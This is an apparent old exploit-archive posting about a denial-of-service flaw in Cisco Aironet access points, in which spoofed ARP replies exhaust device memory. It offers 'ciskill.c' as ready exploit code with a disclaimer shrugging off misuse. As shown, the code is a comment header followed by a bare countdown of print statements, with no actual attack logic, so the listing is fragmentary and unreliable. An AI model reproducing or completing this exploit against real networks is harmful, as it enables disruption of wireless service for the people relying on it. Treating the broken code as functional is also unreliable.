Cisco Aironet Wireless Access Points DoS (ARP, Exploit)
24 Jan. 2006
Summary
A vulnerability has been identified in Cisco Aironet Wireless Access Points (AP) running IOS, which may be exploited by remote attackers to cause a denial of service. This flaw is due to an error in the management interface that does not properly handle spoofed ARP (Address Resolution Protocol) messages, which could be exploited by an attacker who has successfully associated with a vulnerable device to exhaust all available memory resources and cause a denial of service.
Presented here is an exploit code for the Cisco Aironet ARP DoS vulnerability.
Exploit Code:
//
// Cisco Killer - ciskill.c
//
// Usage: ./ciskill [device]
//
// Author: Pasv (pasvninja [at] gmail.com)
//
// Credit: This exploit takes advantage of a vulnerability that was
// discovered by Eric Smith on January 12, 2006 (bid:16217)
//
// Greets to NW, zimmy, GSO, and the rest.
//
// Description: The vulnerability exists in the way the affected versions
// below handle ARP replies, if enough specially crafted ARP packets are sent
// on the network with the affected systems it will cause the access point memory
// exhaustion which will in a few seconds (depending on the speed of the attacker
// and the memory of the target) crash the system, making all ingoing/outgoing
// traffic stopped.
//
// Disclaimer: I pity the foo who uses this exploit for evil, I take no responsibility
// for your actions (like a knife maker).
//
// Versions affected:
// Cisco Aironet 350 IOS
// Cisco Aironet 1400
// Cisco Aironet 1300
// Cisco Aironet 1240AG
// Cisco Aironet 1230AG
// Cisco Aironet 1200
// Cisco Aironet 1130AG
// Cisco Aironet 1100
// (this includes most linksys wireless access points)
// stupid
printf("Press ctrl+c immediately if you wish to stop\nGoing in 5\n");
sleep(1);printf(" 4\n");sleep(1);printf(" 3\n");sleep(1);printf(" 2\n");sleep(1);printf(" 1!\n");sleep(1);
